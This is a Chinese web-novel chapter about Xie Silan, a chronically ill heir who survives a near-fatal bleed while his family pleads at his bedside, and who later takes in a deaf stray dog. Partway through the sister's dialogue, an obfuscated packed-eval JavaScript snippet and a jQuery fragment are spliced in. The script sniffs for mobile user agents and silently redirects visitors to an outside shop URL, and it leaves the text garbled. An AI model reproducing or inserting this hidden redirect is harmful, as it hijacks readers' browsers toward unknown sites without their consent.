晚上的雨又大起来了，风声穿过楼宇之间发出呼啸，整座城市的灯光在雨幕中模糊成一片光晕，车灯拖成一道长线。
谢司澜靠在卧室的床上，床头升到了他习惯的角度，背后多垫了一层靠枕。氧气面罩换回了鼻氧管，下午他说压得脸疼，陆之安仔仔细细检查了一遍之后才同意换回来。
房间里很安静，制氧机发出轻柔的运行声。他摘了助听器，雨声、风声、制氧机运行的声音都消失了，只剩间歇性的嗡鸣。
从二十岁开始这些都变成了他身体的一部分，像一个只有他自己能进入的房间。这个房间里的世界和外面不一样，简单，缓慢，没有突如其来的声响，没有需要费力分辨的话语，没有听不清时的尴尬和抱歉。
他可以什么都不想，也可以什么都想。
糯米趴在他床边。澡已经洗过了，吹干的毛发蓬松柔软。它把下巴搁在床沿上，安静地看着主人。谢司澜轻轻摸了摸它的耳朵，糯米把脑袋往他手心拱了拱，尾巴在床上轻轻扫过。
第一次见到糯米那天，也是下雨天，细细密密的雨滴打在皮肤上，冷冷的。他那时候还在老宅。
老宅是个占地二十多亩的庄园，花园是请国内最好的园林设计师设计的。每年秋天银杏叶落，满地金黄，踩上去沙沙响。
谢家在这座城市扎根了四代人，往上数到曾祖父那一辈白手起家，到父亲这一辈已经把产业做到了全国前列。旗下有科技、医疗、新能源、酒店、文化投资，总部在市中心最贵的那栋写字楼里，市值上百亿美元。
但老宅不会出现在任何媒体上，没多少人知道那道布满藤蔓的围墙里是什么样。
谢家把他保护得很好，好到几年前网上几乎找不到他的任何信息。所有公开场合的照片都会被公关团队提前筛查，社交媒体上偶尔有人提及“谢家小少爷”，发出来的照片也都是模糊到人畜不分的远景或者根本就是认错了人。
所以坊间关于这个小少爷的传闻倒是有很多。有人说他常年被养在无菌病房里，有人说他其实已经去世了但谢家秘而不宣，有人说他是私生子被家族藏起来的，还有人说他有自闭症不能见人。
唯有一个描述是统一的：那个病秧子小少爷，漂亮得像个洋娃娃，可惜活不长。
陆之安偶尔会跟他像讲笑话似的说起这些，他也觉得好笑。这些人不认识他，却热衷于为他编写各种离奇的身世。他活着，他死了，他是私生子，他是自闭症患者，他在国外养病，他被囚禁在地下室里。
他都不知道自己的人生原来这么丰富多彩。
那场差点要了他的命的病，是他回国之后发生的。
他比同龄人早上学，在国外一边读书一边接受治疗，状态奇迹般地好了一些。结果回国的第二个月，这个奇迹就像肥皂泡一样被戳破了。止不住的内出血比以往任何一次都要凶猛，血小板掉到危险值以下，凝血因子输进去像水滴进沙漠。
他在ICU里住了将近三周，前两周大部分时间在昏迷。呼吸机、输液泵，他身上接了无数根管子，每一根都连着一种救命的机器，病危通知下了好几次。
某天晚上他的血压突然掉到测不出来，监护仪的报警声刺耳地啸叫，医生护士冲进来做心肺复苏，偌大的病房里挤满了穿白大褂的人。
主任走出来和父母谈话，该说的话都说了。他说情况非常不好，所有治疗手段都在用，但病人反应越来越差，家属要准备一下了。
妈妈没有哭，她让司机送她回老宅，在他的衣帽间里找了一件衣服，一件燕麦色的针织衫，他最喜欢的那件。
她带着那件衣服回到医院，很平静地对家人说，他从小就爱漂亮，真的要走也要打扮得漂漂亮亮的走，否则他会不高兴的。
她说这些话的时候，声音很稳，手也没有抖，平静到所有人都能看出来她在强撑。
医生让他们都进去。妈妈穿了无菌服，戴了口罩，坐在他床边，握着他的手开始说话：
“宝宝，妈妈知道你疼。你疼了那么多年，比别人一辈子受的疼加起来都多。”
“妈妈一直想替你疼，替你生病，替你不舒服，可是妈妈做不到。”
她轻声说着，平静的声线终于绷不住了，开始发抖。
“宝宝，你太累了。太累了就别撑了，睡吧，到了那边外公会来接你的。”
“外公小时候对你最好了，你还记得吗？外公会抱着你在院子里看银杏树，在池塘边陪你喂锦鲤。到了那边你就不会再疼了。”
“妈妈没关系的，妈妈会想办法习惯的。妈妈会告诉自己，你是去了更好的地方，妈妈永远爱你。”
她的声音越来越轻，旁边的人别过头去。妈妈低下头，把额头贴在他的手背上。她的肩膀在颤抖，但始终没有哭出声来。
爸爸站在床边，一遍一遍地念着他的名字。他叫着，小澜，小澜。像每次小儿子发烧的时候那样。谢司澜很小的时候，他们发现他腿上有一块淤青怎么也不消退，去医院检查，查了很久查出来是先天性的凝血功能障碍。
不是普通的遗传性血友病，是30%几率的基因突变。从一岁开始，他每周都要注射两次凝血因子。十九年了。
十九年里，他每周都要打针，手上密密麻麻的针眼，旧的还没消，新的又叠上去。小时候他会哭，每次打针都要哭很久，哭得嗓子哑了，眼泪把枕头浸湿一大片。
后来他不会哭了，习惯了。再后来，他会对爸爸妈妈说没关系，打完针就可以吃糖了。
他是那个永远在说没关系的小孩，他习惯了小心翼翼地活着，习惯了不对任何事抱有期待，习惯了在所有人担心的目光里笑着说“我没事”。
可是那一天，他说不出没关系了。
爸爸不敢停，好像他的名字是某种咒语，只要一直念下去，死神就不好意思把人带走。他说小澜，爸爸在这里，你别怕。我们都在这里。妈妈在，爷爷奶奶在，哥哥姐姐都在。我们都在，所以你别怕。
哥哥扶着妈妈，姐姐站在妈妈身后，一直在哭。她比弟弟大四岁，从小就知道弟弟和别的小朋友不一样，不能跟她一起跑一起跳。但她还是喜欢和哥哥一起带着他，去花园里晒太阳，把新摘的花放在他的膝盖上，在他住院的时候给他讲学校里发生的事。
她还在读硕士，买了最早的航班飞回来，下飞机的时候眼睛肿得不像话。
妈妈把她的手拉过来，覆在弟弟手上，她的眼泪止不住地往下砸：
“小澜，你答应过姐姐的，你要来参加姐姐的硕士毕业典礼。你答应的事情一定要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525739|203486||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
做到。”
“你说你要看姐姐戴帽子的样子，你有本事答应就要有本事来。不要骗姐姐，求求你，不要骗姐姐。”
她的眼泪砸在他手背上，他动了一下，所有人都看到了。监护仪上的数字没有变好，但他的手指动了，姐姐的眼泪他感觉到了。
她继续说：“小澜你是不是听到了？你再给姐姐动一下看看好不好？”
他又动了一下。
那一夜他没有走。他的血压慢慢回稳了，心率从危险边缘一点一点爬回来。后来妈妈告诉他，那天晚上他迷迷糊糊的时候，一直在摇头。轻轻地摇，好像在拒绝什么东西。
后来他的主治医生开玩笑说，大概那边有什么人跟他说话，让他觉得现在还不到去的时候。
也许是奶奶一直念经感动了菩萨，也许是外公。
外公在他八岁那年去世。外公每次来老宅都要带一大堆东西给他们三个孩子，玩具、绘本、国外的巧克力。
外婆走得早，外公一个人住，会来接外孙去医院打针，每次都穿得很得体，头发也梳得一丝不苟。他说澜澜，外公来接你啦，今天打完针外公给你讲故事，讲你妈妈小时候抱着家里的小猫去上学的事。
八岁那年，外公心梗走得突然。全家人都去了殡仪馆，小小的谢司澜被妈妈牵着手，看到外公躺在花丛里穿着他最熟悉的那件深灰色中山装，像睡着了。
他不肯哭，只是看着外公，一直看一直看。
回家之后他问妈妈：妈妈，人死了之后会去哪里？妈妈说，会去一个没有病痛的地方。他想了想，说那挺好的，外公膝盖疼好多年了，到了那边就不疼了。
然后他低下头，睫毛垂下来，又说了一句话。
他说，妈妈，我以后到了那边，外公会来接我吗？
妈妈说不出话，把他紧紧地抱在怀里。
现在他快二十四岁了，活过了二十岁那道坎，只是身体一年不如一年。
二十岁出院之后，他开始坐轮椅。不是完全不能走，是心肺更弱了，站起来会喘，走几步心率就往上飙。关节也不能长时间承重，长年累月下来，反复的关节出血会让软骨被慢慢破坏，最后会畸形，会剧痛。
坐在轮椅上的日子也不好过，坐久了腰会疼，腿会肿，每天都要人帮忙按摩、做康复训练。
最难受的是他永远无法预知自己第二天会是什么状态。好的时候能坐着轮椅下楼、去露台上吹吹风看看晚霞，不好的时候连床都下不了。一年有不少的日子，他的世界只有卧室那么大。
捡到糯米的那天是他的“好日子”之一，虽然在下雨，但是不大。佣人推着他到廊下透气，很细的雨丝，落在脸上凉凉的。他说再待一会儿。
缩在墙角的一只狗吸引了他的视线，浑身湿透，白色的毛上沾满了泥巴。很小只，蜷在银杏叶堆上发抖。
管家把它捞起来，用毛巾擦干净之后才发现它的耳朵是白色的，耳朵尖有一点黑，两只眼睛颜色不一样，很漂亮。
他让佣人把它带进屋里，给它喂了吃的。它吃得很急，噎住了好几次。
他坐在轮椅上看着它吃，温声说慢一点，没有狗跟你抢，这些都是你的。它头也不抬，佣人拍手它也不理。
于是大家知道了，它听不见。